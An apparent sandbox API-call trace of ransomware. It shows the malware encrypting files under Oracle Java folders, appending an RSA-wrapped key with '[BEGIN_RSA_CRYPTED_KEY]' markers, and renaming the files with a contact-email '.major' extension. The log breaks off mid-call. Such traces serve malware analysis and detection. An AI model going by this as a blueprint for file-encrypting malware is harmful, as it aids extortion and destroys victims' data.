RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0158.504] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5afcd8 [0158.504] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0158.504] CreateFileW (lpFileName="\\Users\\All Users\\Oracle\\Java\\installcache_x64\\baseimagefam8" (normalized: "c:\\users\\all users\\oracle\\java\\installcache_x64\\baseimagefam8"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x700 [0158.504] GetFileSizeEx (in: hFile=0x700, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=82551925) returned 1 [0158.504] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4eba475) returned 0x3149020 [0158.508] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4eba475) returned 0x84e5020 [0158.512] ReadFile (in: hFile=0x700, lpBuffer=0x3149020, nNumberOfBytesToRead=0x4eba475, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3149020*, lpNumberOfBytesRead=0x2e3f9b4*=0x4eba475, lpOverlapped=0x0) returned 1 [0162.194] SetFilePointer (in: hFile=0x700, lDistanceToMove=-82551925, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0162.194] WriteFile (in: hFile=0x700, lpBuffer=0x84e5020*, nNumberOfBytesToWrite=0x4eba475, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x84e5020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4eba475, lpOverlapped=0x0) returned 1 [0164.481] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3149020 | out: hHeap=0x570000) returned 1 [0164.484] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x84e5020 | out: hHeap=0x570000) returned 1 [0164.489] SetFilePointer (in: hFile=0x700, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4eba475 [0164.489] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0164.489] WriteFile (in: hFile=0x700, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0164.489] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0164.489] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0164.489] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0164.489] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0164.489] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="5hISzfxM7JZkPkKlChj659Q7WTUr4vpjOttGVihkDa2+Rym/aPH1sqizCbnjDluR\n0lP3tpmU0NnVsvApYY8Ufaqzh2fz+QNeOtvNb2YfB7krcU/+PbzgEp1XkhrVpnHB\nWiPL1eWlwmQtnlpenN6ZCWg2VGNMV94em9gq2Clctc3lt/DVLUJGfsMpv+t5BsBf\nS22LhaCslq1/tDv5sV+1EJKUbwDTuLMGe/dea9Y0qZ9zQR2jk+rYVpkYt1pPG7m6\nM8IS+Xx+6tq1VRx0srWdP9xQ3yUiJr7qw3eri0bH+V16BBxUjK9k6w63R4x+Ll8Q\nLnVxP4lNzKwVR71SLY+mJA==\n", pcchString=0x2e3f9a8) returned 1 [0164.489] WriteFile (in: hFile=0x700, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0164.489] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0164.489] WriteFile (in: hFile=0x700, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0164.489] CloseHandle (hObject=0x700) returned 1 [0164.490] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0164.490] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Oracle\\Java\\installcache_x64\\baseimagefam8" (normalized: "c:\\users\\all users\\oracle\\java\\installcache_x64\\baseimagefam8"), lpNewFileName="\\Users\\All Users\\Oracle\\Java\\installcache_x64\\baseimagefam8.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\oracle\\java\\installcache_x64\\baseimagefam8.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0164.492] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5afcd8 | out: hHeap=0x570000) returned 1 [0164.492] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0164.492] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0164.492] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0164.492] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beb58 [0164.492] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6570 | out: hHeap=0x570000) returned 1 [0164.492] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0164.492] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cceb8 | out: hHeap=0x570000) returned 1 [0164.492] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Oracle\\Java\\javapath\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x19fb1942, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x654660 [0164.492] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0164.492] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0164.492] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0164.492] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0164.492] GetLastError () returned 0x0 [0164.492] SetLastError (dwErrCode=0x0) [0164.492] GetLastError () returned 0x0 [0164.493] SetLastError (dwErrCode=0x0) [0164.493] GetLastError () returned 0x0 [0164.493] SetLastError (dwErrCode=0x0) [0164.493] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0164.493] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bedc0 [0164.493] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0164.493] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cceb8 [0164.493] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x654620 [0164.493] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654620 | out: hHeap=0x570000) returned 1 [0164.493] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405b8 [0164.493] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405b8 | out: hHeap=0x570000) returned 1 [0164.493] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cceb8 | out: hHeap=0x570000) returned 1 [0164.493] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0164.493] FindNextFileW (in: hFindFile=0x654660, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x19fb1942, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0164.493] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0164.493] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0164.493] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0164.493] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0164.493] GetLastError () returned 0x0 [0164.493] SetLastError (dwErrCode=0x0) [0164.493] GetLastError () returned 0x0 [0164.493] SetLastError (dwErrCode=0x0) [0164.493] GetLastError () returned 0x0 [0164.493] SetLastError (dwErrCode=0x0) [0164.493] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0164.494] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bedc0 [0164.494] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0164.494] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf80 [0164.494] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x6546e0 [0164.494] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6546e0 | out: hHeap=0x570000) returned 1 [0164.494] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40498 [0164.494] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40498 | out: hHeap=0x570000) returned 1 [0164.494] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf80 | out: hHeap=0x570000) returned 1 [0164.494] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0164.494] FindNextFileW (in: hFindFile=0x654660, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="java.exe", cAlternateFileName="")) returned 1 [0164.494] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0164.494] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0164.494] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0164.494] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0164.494] GetLastError () returned 0x0 [0164.494] SetLastError (dwErrCode=0x0) [0164.494] GetLastError () returned 0x0 [0164.494] SetLastError (dwErrCode=0x0) [0164.494] GetLastError () returned 0x0 [0164.494] SetLastError (dwErrCode=0x0) [0164.494] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf58 [0164.494] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf58 | out: hHeap=0x570000) returned 1 [0164.494] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0164.494] FindNextFileW (in: hFindFile=0x654660, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="javaw.exe", cAlternateFileName="")) returned 1 [0164.494] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0164.494] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0164.494] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0164.494] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0164.494] GetLastError () returned 0x0 [0164.494] SetLastError (dwErrCode=0x0) [0164.494] GetLastError () returned 0x0 [0164.495] SetLastError (dwErrCode=0x0) [0164.495] GetLastError () returned 0x0 [0164.495] SetLastError (dwErrCode=0x0) [0164.495] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cceb8 [0164.495] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cceb8 | out: hHeap=0x570000) returned 1 [0164.495] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0164.495] FindNextFileW (in: hFindFile=0x654660, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e040, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="javaws.exe", cAlternateFileName="")) returned 1 [0164.495] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0164.495] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0164.495] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0164.495] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0164.495] GetLastError () returned 0x0 [0164.495] SetLastError (dwErrCode=0x0) [0164.495] GetLastError () returned 0x0 [0164.495] SetLastError (dwErrCode=0x0) [0164.495] GetLastError () returned 0x0 [0164.495] SetLastError (dwErrCode=0x0) [0164.495] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cceb8 [0164.495] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cceb8 | out: hHeap=0x570000) returned 1 [0164.495] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cda60 [0164.495] FindNextFileW (in: hFindFile=0x654660, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19fb1942, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x19fb1942, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x19fb1942, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0164.495] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0164.495] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0164.495] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0164.495] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0164.495] GetLastError () returned 0x0 [0164.495] SetLastError (dwErrCode=0x0) [0164.495] GetLastError () returned 0x0 [0164.495] SetLastError (dwErrCode=0x0) [0164.495] GetLastError () returned 0x0 [0164.495] SetLastError (dwErrCode=0x0) [0164.495] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cceb8 [0164.496] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cceb8 | out: hHeap=0x570000) returned 1 [0164.496] FindNextFileW (in: hFindFile=0x654660, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19fb1942, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x19fb1942, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x19fb1942, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0164.496] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde20 [0164.496] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cceb8 [0164.496] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0164.496] SetFileAttributesW (lpFileName="\\Users\\All Users\\Oracle\\Java\\javapath\\javaws.exe", dwFileAttributes=0x80) returned 1 [0164.496] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdcb8 [0164.496] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e228 [0164.496] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdcb8 | out: hHeap=0x570000) returned 1 [0164.496] CreateFileW (lpFileName="\\Users\\All Users\\Oracle\\Java\\javapath\\javaws.exe" (normalized: "c:\\users\\all users\\oracle\\java\\javapath\\javaws.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x704 [0164.496] GetFileSizeEx (in: hFile=0x704, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=319552) returned 1 [0164.497] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4e040) returned 0x2e60f28 [0164.497] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4e040) returned 0x2eaef70 [0164.497] ReadFile (in: hFile=0x704, lpBuffer=0x2e60f28, nNumberOfBytesToRead=0x4e040, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesRead=0x2e3f9b4*=0x4e040, lpOverlapped=0x0) returned 1 [0164.566] SetFilePointer (in: hFile=0x704, lDistanceToMove=-319552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0164.566] WriteFile (in: hFile=0x704, lpBuffer=0x2eaef70*, nNumberOfBytesToWrite=0x4e040, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2eaef70*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4e040, lpOverlapped=0x0) returned 1 [0164.567] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0164.567] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2eaef70 | out: hHeap=0x570000) returned 1 [0164.567] SetFilePointer (in: hFile=0x704, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4e040 [0164.567] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0164.568] WriteFile (in: hFile=0x704, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0164.568] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0164.568] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0164.568] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0164.568] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0164.568] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="9YJO7KCfFcGAmU7XPN8958CHmq9aOuaHJVQD0viHQFQVJ7bstnolmQiDU5NryoFo\no95utzhoco4+CbSmSSzJ+Vqs4xf5S+/zrh6f4WlP8HgG4lmq5QdCUCImImUT9Kyf\noWZFR1c/Hg91TGV8256LqOKLi4I4zd4v6TZwOHnbJJCGy2ROGscqk0OMIq5En946\nbafnk3D94aND8aQO/w+cQUQJcmSS8x08cjhX0rTnqH5drnQu9eSzNTUwXsWsxm12\nqYN6ihS0uCSpCFtPRtk3kZMRonNesKiARL6JIlx8VreuKdtQPgKxxc5NLzLkJtEp\nQn5cWj2LYJ6PsF869DfKOw==\n", pcchString=0x2e3f9a8) returned 1 [0164.568] WriteFile (in: hFile=0x704, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0164.568] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0164.568] WriteFile (in: hFile=0x704, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0164.568] CloseHandle (hObject=0x704) returned 1 [0164.569] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0164.569] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Oracle\\Java\\javapath\\javaws.exe" (normalized: "c:\\users\\all users\\oracle\\java\\javapath\\javaws.exe"), lpNewFileName="\\Users\\All Users\\Oracle\\Java\\javapath\\javaws.exe.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\oracle\\java\\javapath\\javaws.exe.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0164.574] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e228 | out: hHeap=0x570000) returned 1 [0164.574] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cceb8 | out: hHeap=0x570000) returned 1 [0164.574] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde20 | out: hHeap=0x570000) returned 1 [0164.574] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x570000) returned 1 [0164.574] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6300 [0164.574] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cceb8 [0164.574] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0164.574] SetFileAttributesW (lpFileName="\\Users\\All Users\\Oracle\\Java\\javapath\\javaw.exe", dwFileAttributes=0x80) returned 1 [0164.575] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0164.575] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x60f8a8 [0164.575] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0164.575] CreateFileW (lpFileName="\\Users\\All Users\\Oracle\\Java\\javapath\\javaw.exe" (normalized: "c:\\users\\all users\\oracle\\java\\javapath\\javaw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x704 [0164.575] GetFileSizeEx (in: hFile=0x704, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=206912) returned 1 [0164.575] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x32840) returned 0x2e60f28 [0164.575] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x32840) returned 0x2e93770 [0164.576] ReadFile (in: hFile=0x704, lpBuffer=0x2e60f28, nNumberOfBytesToRead=0x32840, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesRead=0x2e3f9b4*=0x32840, lpOverlapped=0x0) returned 1 [0164.597] SetFilePointer (in: hFile=0x704, lDistanceToMove=-206912, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0164.597] WriteFile (in: hFile=0x704, lpBuffer=0x2e93770*, nNumberOfBytesToWrite=0x32840, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e93770*, lpNumberOfBytesWritten=0x2e3f9b4*=0x32840, lpOverlapped=0x0) returned 1 [0164.597] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0164.598] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e93770 | out: hHeap=0x570000) returned 1 [0164.598] SetFilePointer (in: hFile=0x704, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x32840 [0164.598] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0164.598] WriteFile (in: hFile=0x704, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0164.598] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: 